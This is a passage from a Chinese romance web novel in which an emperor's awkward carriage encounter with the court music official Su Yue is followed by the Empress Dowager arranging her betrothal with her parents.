大郎说:“昨晚我在院外见到陛下了,他?说到处逛逛。三更半夜到处逛逛……嘿!” 二?郎说我也?见到了,“他?说消食,吃多了。” 三郎表示远远发现?他?从廊上过来,自己先发制人拦住了他?的去路,“我要是?不拦截,他?就要经过爹娘的院子了。” 辜祈年瞅瞅这自以为是?的蠢儿子,骂了句孽障。 三郎觉得很冤枉,“我不是?遵着阿娘的吩咐行事吗。” 辜夫人说戆胚,“你就不会软乎些,假装巧遇。冷不丁蹦出来拦人,也?不怕给家里招祸。” 三郎脾气?直爽,愣眼道:“你们装模作样,难道他?就看不出来吗?” 气?得三嫂捶他?,“我说让他?在院子里猫着,他?直撅撅拦在半路上,说他?又不听,这犟驴多可气?!” 辜祈年说算了算了,“好在人家气?量大,反正比他?母亲气?量大。” 话音方落,外面有人传话进?来,说安福宫差人来拜访,求见主君。 辜祈年回头问苏月:“安福宫是?什么??” 苏月耷拉着眉眼说:“太后的寝宫。” 辜家夫妇暗道一声乖乖,八成是?太后听见风吹草动了。这会儿派人来,不会是?来申斥的吧!可人已然到了,不能不见,只好吩咐请进?厅堂,自己马上就过去。 苏月陪同爹娘一块儿赶到前厅,还没进?门就看见范骁抱着拂尘,站在厅堂正中央。 她上前叫了声班领,“什么?风把您吹来了?” 范骁笑着说:“还能是?什么?风,定然是?东风呀。”边说边向她身边的夫妇行礼,“二?位是?辜员外及夫人么??卑下是?宫中的内侍班领,在太后跟前当差。太后命卑下来问员外及夫人好,另明日?一早,入掖庭觐见。” 辜祈年夫妇忙领命,虽然不知?道太后打的什么?主意,既然让去,那就一定得去。 早前权家求亲,托了媒人前来,太后并未出面,两家人也?从来没见过面。现?在要当面锣对面鼓了,这种难堪又忐忑的心境,真是?不大好描述啊。 送走了范骁,苏月安抚爹娘,“太后其实很和善,我在安福殿那段日?子,太后对我很好,不曾为难过我。” 辜祈年摸了摸后脖子,“陛下瞧得起你,太后看着陛下的情面也?不会为难你。可咱们就不一样了,说不定会给个下马威一雪前耻……谁知?道呢。” 苏月也?不放心,想了想道:“明日?我陪阿爹阿娘一起入宫,万一出了什么?岔子,也?好照应。” 辜祈年叹息着点点头,其实自打要入上都,他?就做好了准备,总免不得要见一见太后的。以前自家还能理直气?壮拒绝,然而到了今时今日?,这恩典是?不谢也?得谢了。 那厢皇帝召见市舶司官员,一上午公务办得差不多了,东院里的人才陆续退出来。见辜家人都呆滞地在前院站着,纷纷拱手?行过礼方辞出门。 隔了一会儿,皇帝也?从院里出来了,见了众人自嘲地说,“酒量不济,昨日?喝得多了,有些闹头,将要天亮才睡着。后来起不来,只好让人把官员传到这里来……不曾打搅大家吧?” 对于这种明知?故问,谁又敢老实地点头。辜祈年说:“没有没有,宅子刚入住,还恐阳气?不足呢。这样才好,陛下与诸位大人给这宅邸壮了声势,不愁住着吉屋,运道不蒸蒸日?上。”边说边比手?,“陛下移驾花厅吧,卑下命人预备下了饭食,这会儿已经到饭点了。” 皇帝也?不推辞,进?了花厅和辜家人围坐,笑着说:“朕在宫中,一应起居都太讲章程,帝王的威严是?有了,却短了人间烟火气?。所以朕爱上这里走走,没拿自己当外人,但又怕大家忌惮朕,弄得吃饭都不自在。” 辜家人嘴上自然一千一万个乐意,“能款待陛下,这是?多大的荣耀,别人求都求不来,咱们怎么?能如?此不识抬举。只要陛下喜欢,只管常来,爱吃什么?菜也?只管说,家里有姑苏带来的厨子,可以请陛下回味姑苏风味。” 皇帝听后很欢喜,偏头看了苏月一眼,“朕也?想常来啊,就怕娘子不答应。” 苏月正吃她的鱼鲊,猛听见点了自己的名?,不得不抬起头来。 还能说什么??说你烦人得很,我确实一点不想带你回家?但作为一个好臣子,她得表现?得忠君事主,便放下筷子微笑答话,“家君和家母都应准了,臣无不从命。陛下若想吃民间的饭食了,就请莅临寒舍,宴席会有的,屋子也?是?现?成的,只要陛下高兴就好。” 皇帝心满意足了,含笑道:“辜翁一家待人至诚,让朕有宾至如?归之感?。” 苏月嘴角抽了抽,已经完全被他?的厚脸皮打败了。看来以后想摆脱他?更难了,到时候吵着闹着是?你家大人让朕驾临的,可不是?连一句反驳的话都没有了吗。 唉,皇权倾轧,蝼蚁生计艰难。苏月低头扒了口饭,又郁塞地喝了两碗汤。 等到酒足饭饱,撤下饭菜再上清茶,阿爹把他?珍藏的雨前龙井拿出来招待他?,茶局散后皇帝才恋恋不舍站起来,表示自己该回宫了。 “辜大人,梨园不能没人坐镇。”他?和风细雨地说,“回去么??正好送朕一程。” 苏月说是?,偏头让人预备车马。 皇帝虽是?武将出身,又政务如?山,但在他?愿意用心的地方,真可谓细致入微。临要走的时候,在苏云面前顿住了脚,和声对她说:“这几日?先筹备筹备,霜降那天梨园在含嘉城有考核,到时候去试试身手?。只要能通过,朕的委任状马上就到,不用担心你阿姐不提拔你,有朕在,一切都不算事,知?道么??” 苏云呆呆点头,实在想不到,那个曾经如?此不入阿爹眼的权家大郎,竟是?个这样的翩翩君子。 在她感?激的目光里,皇帝与苏月出门了,他?们前脚刚走,后脚苏云就唏嘘,“大姑父不过是?个府尹,眼睛就长在头顶上,陛下可是?皇帝啊,居然如?此和蔼可亲。”忙去问爹娘,“阿姐什么?时候嫁给他??我觉得这门亲事很好,什么?都别说了,我赞成。” 辜祈年夫妇对望了望,人心果然容易收买,别说苏云了,现?在全家还有哪个不同意这门婚事? 辜夫人问:“你呢?” 辜祈年有些汗颜,“我是?生意人,重利。我现?在也?觉得这门亲事不错,但若要让我家女郎做妾……恕难苟同。” 作为一家之主,还是?讲原则的。 那厢坐在马车里的人还在长吁短叹,路才走了一半,听他?叹了五六次,苏月到底忍不住了,“有话就直说,您这么?叹,车顶棚都快掀翻了。” 皇帝幽怨地剜了她一眼,“朕昨晚想去见你,一路上遇见了你大兄、二?兄、三兄。你家上下都对朕心存防备,令堂将朕的院子安排得离你十万八千里,难道是?怕朕图谋不轨吗?” 苏月说没有的事,“您不往歪处想,一点毛病也?没有,可您要是?当真图谋不轨,就一定觉得自己被针对了。”说着笑了笑,“别往心里去。” 他?觉得自己百口莫辩,“朕不过想去看看你,怎么?就图谋不轨了?” 苏月心道留你脸面,你还偏豁出去了,便转过身子正色望着他?道:“咱们是?一 同吃的饭,才分开一小?会儿您又要见臣,半夜三更,您见我要干嘛?” 皇帝支吾了下,倒也?理直气?壮,“朕跟你回家,就是?想多看你两眼,这有什么?想不明白的?朕是?坦荡的君子,你细想想,几次夜访你,何时有过出格的行径,何时让你为难过吗?” 这个倒真没有,他?还知?道逗留得太久对她名?声不好,每每说完了话,就自发告辞了。可以前是?这样,现?在很难说,毕竟人的心境是?会随时间转变的。 苏月也?有一股执拗的劲儿,把脸往前递了递,“您既然如?此想看臣,那您就看吧。我每日?长得一模一样,又不是?一天一个嘴脸,总看不觉得腻味吗?” 她把脸杵得太近,黑白分明的眼眸笔直地望着他?,害他?有些心慌,难堪地往后仰了仰,“好了好了,朕看完了,你坐好吧。” 可她却不依不饶,“再多看两眼吧,看个够,过了这个村,可就没这个店了。” 他?的后脑勺已经抵在车围子上,再也?无法后退了。避让不是?帝王的风格,勉力定住心神道:“你别逼朕看,朕看……你的脸好大。” 她错牙笑着,“越大看得越明白,记得越清楚。陛下,除了脸大,还有别的吗?” 皇帝的心已经快要沸腾了,她真的一点忧患意识也?没有,不拿他?当男人吗? 他?的十指紧紧扣住了身下的坐垫,扣得甲盖泛白,那身形也?摇摇欲坠,艰难地逸出四个字,“还很……好看。” 苏月说:“我知?道自己好看,陛下贪图我的美色,所以每日?都想见我。” “也?不能这么?说……”他?已经能感?觉到她的气?息拂在他?唇瓣上,躲不开,避不掉,耳中嗡鸣,心跳如?雷……他?觉得自己几乎要昏过去了,她竟还如?此猖狂,得理不饶人。 “辜大人……辜大娘子,你坐回去吧,朕要喘不上来气?了。” 不知?为什么?,苏月觉得他?惊慌失措的样子很有趣。看惯了他?的高高在上不可一世,偶尔一副弱小?的姿态示人,竟还有些惹人怜爱呢。 “臣也?没堵住您的口鼻啊,怎么?就喘不上气?了。”她还在笑,笑容里全是?促狭和嚣张。 结果话刚说完,马车忽然颠簸了下,她那个半站着探身的姿势无处借力,猛地往前一磕,嘴不偏不倚和他?撞上了。甚至在她发懵的当口,恍惚听见他?一声闷哼,那声音充满奇幻诡谲的味道,带着点痛苦,又带着点销魂…… 等她回过神来收回嘴,才发现?自己手?下多了个物件,原来慌乱中的一撑,摁在他?腿根上了。 第56章 第 56 章 五雷轰顶, 心想这下可完了,玷污了人?家的贞洁,怕是要?彻底对他负责了。 悚然缩手, 这回喘不上来气的人?变成了她。她撤后身子?, 惊恐地观察他的神情, 他仰头靠着?车围,依旧保持原来的姿势, 裸露在领外的脖颈白洁修长,喉结轻轻地蠕动, 连眼神都?不灵活了。 “陛…… 陛下……”她颤声说, “误会……巧合,纯属巧合……臣不是有心的。” 他极慢地、极慢地调整了姿势,一副被人?凌辱后灰心欲死的模样, 苦笑道:“朕还有什么可说的?古往今来, 有哪个臣子?敢对皇帝这样!” 苏月这时候真的后悔极了, 她不应该得?寸进?尺,导致乐极生悲。自己是脑子?出了问题吗, 居然想倒反天罡,想看他手足无措的样子?。这下玩得?过了头,嘴亲上了, 手也?去了不该去的地方?…… 她已经不太敢回想了, 脑子?里充斥着?一个声音, 这是一场噩梦,都?是假的,忘了!快忘了吧! 可那?个受害者, 以一种近乎崩溃的神情望着?她,让她觉得?自己罪孽深重。光靠自我开解是没有用的, 并且该被抚慰的不是自己,而是他。 “你是男子?,没关系的。”她也?不知道这话究竟是在安抚他,还是在为自己脱罪,总之?她厚颜说,“男子?胸襟要?开阔,就当一切没有发生过……好吧?” 皇帝沉默着?,就那?么看着?她,无言的抗争,想让她回头再想想,自己说的都?是什么鬼话。 苏月彻底败下阵来,“谁也?没想到会变成这样……我是女郎,照理来说吃亏的是我……” “你还吃亏了?”皇帝惨然道,“是朕让你亲朕,是朕让你摸……” 吓得?苏月慌忙捂住他的嘴,“别说了,隔墙有耳,不宜宣扬啊陛下。” 这个时候居然还在顾及面子?,真是个虚伪的人?。 皇帝忍了忍,到底没忍住,扒下她的手问;“你还敢捂朕的嘴?你到底打?算怎么办?这件事就这么算了?” 苏月摊了摊手,“已经发生了,后悔来不及了。” 她一副破罐子?破摔的样子?,让他气愤不已,“你竟还这样,难道你不觉得?羞惭,没想过要?赎罪吗?” 苏月当然羞惭,羞惭之?外也?觉得?很伤心,女郎的头一次亲嘴,就这么不明不白没有了。她甚至还没有品咂出滋味,在震惊和恐慌中草草了事,只隐约记得?对方?的嘴很软,并没有她想象中那?么硬。 而皇帝呢,说不清自己现?在到底是怎样一种复杂的心情。 尊严所剩无几了,在他还没有作好准备采取主动的时候,先被她强吻了。吻了也?就算了,她还对他的不便之?处进?行了侵袭,虽然不是故意的,但来势汹汹,丝毫没有给?他避让的机会。他当时正应付她的嘴,谁能想到一个疏忽成了她的掌中之?物?……他很为当时的状态感到羞愧,原来他是个没什么定力的人?,在她把脸送到他面前,强迫他看的时候,他就已经骇变了。 吓着?她了吗?看她的表情晦涩难言,应当正在纳闷吧! 千万不要?讨论,让他留点脸,求求了。但转念又一想,可以不必对事情的本质过多涉及,但由此引发的恶果,还是不能忽视的。 然而思?绪混乱,女郎香软的唇瓣再次突出重围,覆盖住了他的一切念想。他与她曾经近距离接触过几次,每次都?是止乎礼,从没有过亲密的行径。可就在刚才,她主动亲了他,一切来得?那?么突然,又那?么令人?狂喜。唯一遗憾是时间维持太短,如果能再长一些,那?该多好…… 视线轻颤,他忍不住又朝她望过去,不知是不是眼神过于炽热,她居然戒备地挡住了自己的下半张脸。 “不许乱看,也?不许瞎想!”她恫吓了两句,从荷包里摸出一枚铜钱塞进?他的手里,“以此作为了断,这事两清,就这么说定了。” 可他并不接受,头一次觉得?不是什么都?能用铜钱来结算的,把钱重又塞回了她手里,“这事没完。” 苏月头疼起来,“那?你想怎么样,总不能让我还回去吧!” 这话说完,彼此都?红了脸。这段时间已经混得?很熟的两个人?,忽然觉得?又被强行拉开了距离,一切变得?玄之?又玄。明明想靠近,却有无形的高墙横亘在彼此之?间,本该突飞猛进?的感情,也?因这场意外陡然停滞了。 苏月觑了觑他,犹豫着仍旧把铜钱放进了他手里,“我对不起你,这钱你先收着?,以后的事以后再说,行吗?” 就像一个闯了大祸的男人?,对一切无能为力,只剩口头上的承诺。眼神坚毅地表示自己不会赖账,暂时只是赊一赊,以后再一并偿还。 皇帝低头看看手里的铜钱,自己的第?一次,就这么被她用一枚铜钱买断了,多少有些过分便宜了。但还能怎么办呢,他想亲回来,可又不敢说出口,无可奈何下只能接受她的建议。心想再忍一忍吧,等到十枚铜钱集满,一切便不由她说了算了。 后来一路无话,巨大的尴尬碾压着?两人?,在沉默中回到了圆璧城。皇帝陛下甚至没有要?求走她的专属通道,让马车把她送到方?诸门上,自己老实地返回丽景门了。 苏月在方诸门前呆站着?,目送马车去远,在无边的悔恨里,怏怏回到了官舍。 不能让自己闲下来,得?努力找些事做,忙起来就能把先前发生的事抛到了脑后了。如果偶尔想起,那?就尽力麻痹自己,劝说自己这不算什么大事,都?是成年的男女,不小心出点差池,实在正常得?很。 然而心里这关还是难过,她夜里居然梦见了皇帝,见他握着?拳把手送到她面前,在她的满心疑惑下展开五指,得?意地对她说:“六枚了,辜娘子?,你准备好了吗?” 她当时满心戒备,总觉得?自己站在悬崖边上,差一点就要?掉下去了。这十枚铜钱凑满后要?兑现?的承诺,必定比醒时的自欺欺人?要?刁钻得?多。 梦里她终于壮起胆问:“有朝一日十枚集满,你要?我做什么?” 皇帝高深地笑了笑,“也?没什么,朕要?你当着?满朝文?武的面,求朕娶你。” 简直是噩耗,一下子?把她吓醒了。醒后心里还在扑腾,后怕地想,这事他真干得?出来,不会一梦成真吧! 抬手抹了抹,一脑门子?冷汗,吓得?好一会儿才又睡着?。后来睡得?也?不安稳,第?二天起来头昏脑胀,忙于处置手上的差事,险些连爹娘要?入掖庭的事都?忘了。 好在猛然记起来,赶紧看更漏,刚到辰时,这会儿人?应当已经候在宫门上了。今天前朝有朝会,皇帝赶不回来,能不见当然最好别见,出了昨天的乱子?,现?在心虚的劲儿还没过,她实在需要?冷静冷静,再考虑以后拿什么面目面对他。 把亟待解决的事交代了太乐令,她匆匆赶往西太阳门,刚到那?里就遇上掖庭内侍出来接应,看见她热络地招呼:“赶巧,娘子?也?来了?” 苏月拱拱手,携爹娘一同?前往安福宫。阿爹和阿娘是头一回入禁中,紫微城高大的建筑远观已觉宏伟,身处其中更会感受到巨大的压迫感。 他们有些拘谨,愈发觉得?今天太后必定来者不善。进?了安福殿正殿,恰好见一位女官捧着?香盒走过,错眼见了苏月,恭敬地向她行了一礼,然后转头通传里间:“姆姆,辜娘子?来了。” 辜家三人?朝着?东偏殿的方?向叉手静待,不一会儿就见殿内走出三个人?来。苏月起先一惊,以为皇帝也?来了,但定睛一看却是齐王。他穿一身影青的衣裳,人?还是淡淡地,如松烟入墨。见到她,脸上带着?轻浅的笑,微微颔首致意。八月十五的大宴他没有参加,想来是身上不豫吧,今天再见好像仍有几分羸弱,但并不让人?觉得?病气森森,反倒没有侵略性,恬淡如一汪春水般。 好精致的人?儿啊,虽然不合时宜,苏月脑子?里还是冒出这么个词儿来。没有别的想法,仅仅只是叹服,他与他那?戳气的阿兄,为什么会有如此天壤之?别。 太后呢,不像上回苏月进?安福宫,特意给?下马威。孩子?可以戏弄戏弄,两家大人?见面须得?很正式,很庄重。笑着?说上两句温存的话,“员外与夫人?节前就到上都?了,可惜宫中有大宴,抽不出时间来相见。因此节后匆匆命人?过府相邀,不知是否冒昧,还望员外与夫人?不要?见怪。” 辜祈年与夫人?受宠若惊,没想到境遇比他们来前设想得?好太多,好得?仿佛之?前从来没有龃龉,好得?就如两家会亲,要?商定婚事一般。 忙深深行礼,辜祈年说:“不敢不敢,原本该是我们进?宫拜见太后的,但因初到上都?,不知怎么通禀,居然延捱到了太后召见我们。” 场面上的话来去,这是必须的流程。太后比手招呼大家落座,一面询问辜夫人?:“才到上都?,一切都?习惯么?若有为难的地方?只管说,我让底下人?承办。” 辜夫人?俯首道:“多谢太后,我们一家得?您与陛下照应,一切都?是现?成的,比在姑苏时候更齐全,岂有为难之?处啊。只是合族这一来,实在让朝廷破费了,草芥一般的商户,何以敢当贵人?们如此恩待……”说着?便要?起身行礼,被太后阻拦了。 太后意在交好,万分亲热地牵住了辜夫人?的手,温和道:“且不说身份地位,咱们同?是姑苏人?。早前两家虽不是街坊,却也?住得?甚近,我每常上十泉里去,都?要?经过你家府门前。莫说咱们亲近,就算是寻常的同?乡来了,不也?得?照应么。夫人?别说这么见外的话,否则往后倒不好处了,你说是不是?” 天爷,三言两语间绑定了两家的关系,简直与皇帝在朝堂上化解言官弹劾的手段如出一辙。 苏月没敢吭声,而辜家夫妇则有些尴尬,又是亲近,又是不见外,真可谓太后肚里能撑船。为了儿子?的婚事,以前曾经再不受用,如今也?当没有发生过,可怜天下父母心啊。 辜夫人?最是知情识趣,谦卑地说是,“太后这心田,让卑下不知说什么好。陛下大放恩典,我们一家上下连要?致谢,都?无从谢起了。” 太后笑道:“谢什么,当初权家的族亲纷纷迁往上都?,不也?是朝廷给?与优恤安排的吗。咱们诚如自家人?一样,陛下与你们也?不生分。听说十五留宿在贵府上了?难怪第?二日二郎进?来,邀他上我这里用饭,宫人?竟说他昨夜起就不在宫中了。” 太后是随口一说,但这一随口,不知不觉中就坐实了两家牵扯不清的关系。 反正她也?不着?急,因为知道今天的事必成无疑。既说起二郎,不免要?引荐引荐,比了比身边人?道:“这是我的幼子?,陛下封了齐王,不过一向不太出门,你们想是没有见过。” 两下里站起身互相行礼,齐王对太后道:“那?日在代侯府上,我曾有幸见过辜娘子?。听说中秋大宴,梨园的曲目精彩异常,可惜我没有眼福,遗憾得?很呢。” 太后笑呵呵说:“不碍的,中秋过后还有立冬,还有正旦,有的是机会观演,不急在一时。”嘴上说着?,心里顶关切的是立春,便试探着?问苏月,“陛下可与你说过立春的安排?” 苏月想起他确实含含糊糊提过,但具体?是什么安排,却并未向她透露。 “陛下说与您有个立春之?约,可臣问他,他又说不足为外人?道。” 太后大呼倒灶,这儿子?过于没出息,比他父亲更胆小。但凡他拿出平定天下的一成功力出来,媳妇早就有了,连孩子?都?该有了。可他却好,还在不急不慢地周旋,不知究竟有什么可磨蹭的。你要?说他脸皮薄,他也?知道赖在人?家家里不走,实则脑子?半点不笨,就是嘴笨。你若说他脸皮厚,他对待喜欢的女郎那?种瞻前顾后,真是狗见了都?摇头。 太后觉得?这件事不能这么耗下去了,再耗天该冷了。儿子?不中用,还是得?为娘的出马,辜家夫妇既然来了,今日就索性把话说破吧! 于是太后直言不讳,对辜家夫妇道:“别瞧我们陛下英雄盖世,遇上了女郎,半点也?不会说话。但他愿意办实事,他若对你好,光顾着?掏心挖肺,有时候这种性子?吃亏得?很,因不善言辞,难以赢得?女郎的芳心。员外,夫人?,四年前咱们家曾向贵府上提亲,贵府上没有给?我们再争取的机会,说实话,我很有些伤心。对于女郎,我是打?心底里喜欢,不怕你们笑话,当初明知亲事不成了,我也?还是远远看女郎在府门前舍米舍面,心里不知多懊丧。贵府上有贵府上的考虑,兵荒马乱舍不得?女郎外嫁是人?之?常情,可如今天下太平了,又男未婚女未嫁,我想再问一句,我家大郎可还有机会向贵府上提亲?” 其实早就知道今日召见,太后是怀着?怎样的目的,但话真正说出口,还是很令辜家人?惊愕。 没有皇权威逼,也?不是居高临下的发号施令,太后依旧以平等虔诚的态度来商讨儿女的婚事,倒弄得?辜家夫妇十分惭愧了。 辜祈年讪讪道:“卑下当年有眼无珠,心中一直惴惴不安。今日太后说这番话,愈发显得?卑下鼠目寸光了。” 辜夫人?望了望丈夫,在得?到他肯定的眼神后,方?才对太后剖心,“卑下也?与太后说句实话吧,我家虽是世代经商,但并非贪慕权贵的门第?,家中孩子?都?是我们心头的肉,从来没有想过让她们登梯上高,去够不该够的果子?。上年陛下御宇,我们心中惶恐,但也?并未后悔把女郎留在身边。后来她被强征进?梨园,我们有怨言,也?曾深深感慨过世道艰难,然到如今才明白,这是孩子?命中注定的际遇,她终究是要?离开爹娘的。陛下丰厚的赏赐,让我们日夜难安,总觉受之?有愧。今日又蒙太后召见,您这一番肺腑之?言,叫我们何以克当啊。” 太后拍了拍辜夫人?的手,笑着?说:“咱们都?是实诚人?,不拐弯抹角说事,心思?敞亮。陛下对娘子?的偏爱有目共睹,他一步一步为娘子?垒好了基石,还请员外及夫人?看见他的良苦用心。” 辜祈年点头不迭,“看得?见,卑下等都?看得?清清楚楚。太后今日特意召见我们,着?实是抬举了,这事只需吩咐一声而已,哪里用得?着?亲自费心。” 所以说辜祈年到底是生意场上的积年,他不会明打?明地追问,是要?让苏月当皇后还是当妃嫔。话语间以退为进?,就是在逼太后表态,会给?苏月一个什么样的名分。 太后心里自然明白,笑道:“规规矩矩地聘正妻,岂是吩咐一声能了事的,就算我答应,朝中那?些掌管着?宗族事务的官员们也?不能答应。我与陛下早就商定了,四年前是如此,四年后依然如此。我们是实心要?结亲的,也?用不着?媒人?牵线搭桥了,就由我厚着?脸皮亲自与员外夫人?说吧。”言罢又望向苏月,“娘子?的意思?呢?你在我眼中,可不是一般的女郎啊,父母之?命固然要?遵,但你自己的想法也?尤为重要?。” 苏月听他们说了半天,脑子?里一直嗡嗡作响。现?在太后点了她的名,敷衍是敷衍不过去的,只是一时有些彷徨,难道这朱砂痣要?当不成了? 细想权大这个人?……她又不是铁石心肠,当然知道他的好,就算他嘴欠,她也?觉得?可以包涵。嫁给?他,早就是板上钉钉的事了,自己假装挣扎两下而已,说认命也?已经认命了,总比盲婚哑嫁强。 可是梨园怎么办?那?么大的梨园,她好不容易和大家一起支撑起来的梨园,还没真正做出成绩,就不让她干了吗? 她迟迟望了望太后,太后和齐王都?看着?她,让她脸颊隐隐发烫。 定神一思?量,自己也?不是扭捏的小女郎,现?在正是能说话的时候,若是放弃了,就只剩等着?宫里来抬人?了。 于是下了决心,起身向太后长揖下去,“臣与陛下常来常往,虽没有说破,但臣心里知道,将来必要?依附陛下的。若得?阿爹阿娘应允,臣愿与陛下共偕白首,只是目前臣的心思?全在梨园,恐怕不能立时放下一切待嫁。请太后与陛下再行商议,臣若想延后婚期,不知能否有回旋的余地?若不能,就请陛下再觅佳偶,臣尽心为陛下打?理梨园,以此回报陛下的恩德吧。” 第57章 第 57 章 太后觉得有点泄气?, 答应嫁了,但婚期得延后,那么立春之约难以实行, 而她实现抱孙的?愿望, 又变得遥遥无期了。 太后甚是苦恼, 试着再向她打探,“婚期安排在明年春, 你看行不行?还有半年时?间,这半年你物?色好?信得过的?接班人?, 就算你身居掖庭, 也能让梨园照着你的?规划更加完善,这样不是一举两得么,你说呢?” 与太后讨价还价, 实在需要莫大的?勇气?, 就算人?家看重你, 你若是恃宠而骄,也极易触发?对方的?不满。但这也不是她非要拿乔, 实在是相较于婚姻,她觉得自己的?志向和愿景更为重要。她要亲手改变梨园,要看着梨园一点点壮大, 就像种下一株苗, 她要亲手浇水, 亲眼看它开花,而不是坐在深深的?宫殿里,等着外?面的?人?来向她描述, 这花开成了什么样,是红色的?还是紫色的?。 说得太强硬, 唯恐伤了太后的?心,她想了想问:“臣婚后,还能走出掖庭去圆璧城吗?还能见那些乐工和舞伎吗?若是能,一切听凭太后安排,臣无不从命。” 这下太后为难了,“一国之母,势必要坐镇中宫,统管掖庭。就算没有梨园的?公务可操持,掖庭中大大小?小?的?事也不少,照旧会让你忙得闲不下来的?。” 苏月笑了笑,“掖庭是过日子,振兴梨园是功在社稷的?大事。臣有野心,想把?那个没人?看好?的?衙门,变成天下乐师的?乐土,把?我们大梁的?音声传播到外?邦去,传播到西域去。” 太后听她说完,眼神?透出一股怆然,心道真是天造地设的?一双,都是有追求的?人?,都有宁折不弯的?脊梁。 辜家夫妇心下则有些担忧,这些当权者与你协商前很有耐心,你要是不能如她的?愿,还能对你有好?脸色吗? 思及此,辜家夫妇也站了起来,却咬紧牙关没去制止女儿。苏月自小?就有主意,作为爹娘,他们不想因一场婚姻,把?她变成第二?个唯唯诺诺的?大姑母。 太后看他们一家三口?都站着,实在感到头大,明明一切说得好?好?的?,怎么就是婚期定不下来呢。 就不能给大郎一个名分吗?太后悲哀地想,为了这个名分,愁煞他们母子了。 如果气?性?强些,一跺脚说这媳妇不要也罢,当下是可以痛快痛快,但痛快过后呢?皇帝他不是不长进吗! 所以这事还得再行协商,太后压了压手,“怎么都站着?唉呀,坐下坐下。婚期的?事儿,回头让陛下再与你商议,你们俩拟定一个好?时?节,到时?候让司天台的?人?再排算日子就行了。我想着,要不咱们遵民间的?习俗,先把?五礼过了吧,这么也算有凭有据,”转头问辜夫人?,“夫人?的?意思呢?” 辜夫人?当然要做和事佬,赶忙点头附和,“太后说得很是,毕竟年纪都不小?了,婚事定下了,我们做父母的?也了了一桩心事。” 太后抚掌,“那就这么说定了,人?的?想法应时?而变,说不定过两日自己想通了,也未可知啊。”语毕竟把?自己也劝动了,一切好?像又豁然开朗了。 “对对对。”辜祈年悬着的?心终于落下来,见太后没有动怒,暗自庆幸不已,一面拿眼神?示意苏月见好?就收,别再有什么异议了。 总算婚事敲定,还不是用威逼利诱,完全是两家心平气?和商谈的?结果。太后觉得四年前自己丢失的?面子寻回来了,亲家对她没有怨言,也不会在背后指摘她。越想越高兴,看看苏月,人?家养到这么大的?女郎,终于是自己家的?了,忙拉过来好?生在怀里抱了一下,欣慰道:“我惦记了那么久的?女郎,可算要做我家媳妇了。” 与其说这门婚事是皇帝一往情深的?回报,莫如说是太后从未打消的?执念。她就是这么奇怪的?人?,途经人?家门前一眼相中,就算排除万难也要把?人?娶到手。这下儿子欢喜,自己也欢喜,至于究竟什么时?候能举行大婚仪式,这个放到后头再议,当下先高兴够了再想其他。 殿里的?人?纷纷祝贺,傅姆笑着拱手,“恭喜太后,心里总念着辜家女郎,今日总算圆满了,可要高兴坏了。” 太后说可不是,这才?想起自己这头商量妥当了,最要紧的?人?还蒙在鼓里呢。 忙吩咐范骁:“快差人?到乾阳殿看看去,前头的?朝会散了没有。若陛下没在召见臣僚,把?他请到这儿来。” 范骁应是,也不用差遣旁人?了,自己撒丫子就往外?朝跑。 先前太后预备向辜家夫妇提婚事时?,齐王就借故出去了,等到这会儿才?又进殿,一进门就听到太后告诉他好?消息,说亲事定准了,等到过完礼,就是一家人?了。 齐王郑重向苏月作了一揖,“上回还曾遗憾,差一点就该称呼娘子为阿嫂,如今这事定下了,先恭贺娘子吧!” 苏月欠身还了一礼,太后喜气?洋洋地,只待皇帝来,告诉他这个好?消息。 结果不赶巧,范骁回来禀报,说朝会已然结束了,但司天监的?地动仪出了异象,西南方金龙衔着的?金球掉进□□嘴里了。消息禀报到陛下面前,陛下责令尚书省严阵以待,预备好?了随时?赶赴西南的?巡查使,自己又上司天监亲自查看去了。 所以做皇帝辛苦,每天有各种政务排着队等他处置,可不像大戏里唱的?那样,有事俱本上奏,无事卷帘退朝。 辜家夫妇见状向太后揖手,“既然陛下正忙公务,卑下等就先告退了。家中还要预备预备,过礼不是小?事,族中的?亲戚都要知会起来,若太后定准了好?日子,打发?人?来吩咐一声就是了。” 太后也不强留,一面说好?,一面让人?把?预备好?的?赏赐搬出来,送去辜家的马车里。自己则亲自送下台阶,客套话?说了许许多,笑道:“我是等不及了,今日就让人?排算日子,若是赶得及,这个月便过礼吧。” 辜家夫妇无不从命,再三行过礼,仍旧从西太阳门退出了掖庭。 这一路上,辜夫人?总在观察苏月的?神?色,好?容易等到边上没人?了,悄悄问她:“你先前应下,可是自愿的??” 爹娘总担心她受委屈,担心她畏惧强权,不得不低头认命。连阿爹都忧心忡忡地,仿佛她只要露出一点难色,一家人?就准备好?和她一起愁云惨雾了。 苏月见他们这样,反倒笑起来,“我岂是那种委曲求全的?人?啊,如果心里厌恶他,绝不会松口?答应的?。其实我来上都大半年,见识了不少男子,相较于他们,权家大郎居然是其中最好?的?。说出来怕阿爹和阿娘不信,他除了不太会讨女郎欢心,余下不管品行也好?,胸襟也好?,谋略也好?,都是上上乘。” 她寻常可不怎么爱夸人?,能把?那人?夸得像花,可见是真的?不为难。 辜祈年松了口?气?,“我总是担心,怕你因咱家得了人?家太多,还不清了,才?甘愿自己填这个窟窿的?。” 苏月在爹娘面前并不搪塞,坦然道:“起先我也觉得无以为报,可后来想明白了,我往后可得每天面对他那张脸,作为对我的?补偿,善待我的?家人?,不是应该的?吗。” 辜夫人?的?担忧到这时?才?彻底化解,牵住苏月的?手问:“你可喜欢他?阿娘还是盼着你能嫁一个自己真心喜欢的?,不因这样那样的?骑虎难下,将就一辈子。” 苏月想了想道:“好?像有些许喜欢,但相处日久,感情慢慢积累,说不定将来我会很喜欢他呢。” 辜夫人?终于舒展开了眉,打趣和丈夫抱怨:“这孩子,说起话?来半点没有女郎的?矜持,可是学坏了?” 辜祈年眼中的?女儿,反正就是万般都好?,“这叫爽朗,你不懂。梨园那么多的?人?,她要在里头办事,可不得有话?直说吗。弯弯绕绕的?,底下人?费思量,耽误多少工夫!况且是同爹娘交底,扭捏作态,不是我们辜家女郎的?风范。” 阿爹把?一切替她辩解得明明白白,苏月就不用反思,究竟是不是与权大斗嘴太多的?缘故了。 爹娘今日的?一场觐见,把?她的?终身大事定下了,其实定下也好?,就像浮萍有了根,她既然没有打定主意终身不嫁,权家大郎还是个很不错的?选择。这人?嘴坏些,心肠却很好?,心思也细腻,与他相处这么久,从来不觉得厌倦。刚才?商定婚事的?时?候她也思量,为什么心里还有些犹豫……大概是犹豫他的?身份,将来的?掖庭会扩充起来,到时?候色衰而爱弛,连想找他斗嘴,他恐怕也不耐烦应付你。 